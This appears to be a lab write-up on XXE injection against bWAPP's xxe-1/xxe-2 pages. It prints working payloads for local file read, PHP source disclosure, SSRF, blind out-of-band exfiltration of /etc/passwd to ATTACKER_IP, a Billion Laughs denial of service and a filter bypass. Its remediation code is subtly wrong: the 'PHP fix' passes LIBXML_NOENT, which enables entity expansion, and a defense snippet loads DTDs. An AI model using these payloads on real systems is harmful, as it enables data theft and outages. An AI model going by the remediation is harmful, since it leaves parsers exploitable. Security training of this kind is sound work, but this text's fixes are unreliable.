🧪 10 — XXE Injection

OWASP: A05 - Security Misconfiguration | **CWE**: CWE-611 | **Severity**: 🔴 Critical

---

📖 Description

XXE occurs when an XML parser processes XML input containing a reference to an external entity. Attackers can use this to read local files, perform SSRF, or cause denial of service.

🔍 Affected Endpoint

```
http://localhost/bWAPP/xxe-1.php
http://localhost/bWAPP/xxe-2.php
```

⚠️ Security Level: LOW

PoC — File Read

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<reset><login>&xxe;</login><secret>Any</secret></reset>
```

PoC — Read PHP Source

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/r
esource=/var/www/html/bWAPP/xxe-1.php">
```

```
]>
<reset><login>&xxe;</login><secret>Any</secret></reset>
```

PoC — SSRF via XXE

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal-server/admin">
]>
<reset><login>&xxe;</login><secret>Any</secret></reset>
```

PoC — Blind XXE (Out-of-Band Exfiltration)

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://ATTACKER_IP:8080/evil.dtd">
  %dtd;
]>
<reset><login>&send;</login><secret>Any</secret></reset>
```

```
<!-- evil.dtd on attacker server -->
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACKER_IP:80
80/?data=%file;'>">
%all;
```

PoC — Denial of Service (Billion Laughs)

```
<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&l
ol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;
&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;
```

```
&lol3;&lol3;&lol3;">
]>
<root>&lol4;</root>
```

⚠️ Security Level: MEDIUM

Defense

External entity loading partially disabled.

Bypass

```
<!-- Try internal DTD bypass -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<foo>&xxe;</foo>
```

⚠️ Security Level: HIGH

Defense

External entities fully disabled in XML parser configuration.

```
libxml_disable_entity_loader(true);
// or
$dom->loadXML($xml, LIBXML_NONET | LIBXML_DTDLOAD);
```

✅ Remediation

1. **Disable external entity processing** in XML libraries
2. **Use JSON** instead of XML where possible
3. **Input validation**: Validate/sanitize XML input
4. **SAST tools**: Detect XXE in code review

```
// PHP fix
libxml_disable_entity_loader(true);
$doc = simplexml_load_string($xml, 'SimpleXMLElement', LIBX
ML_NOENT);
```

📚 References

- CWE-611: https://cwe.mitre.org/data/definitions/611.html
- OWASP XXE: https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing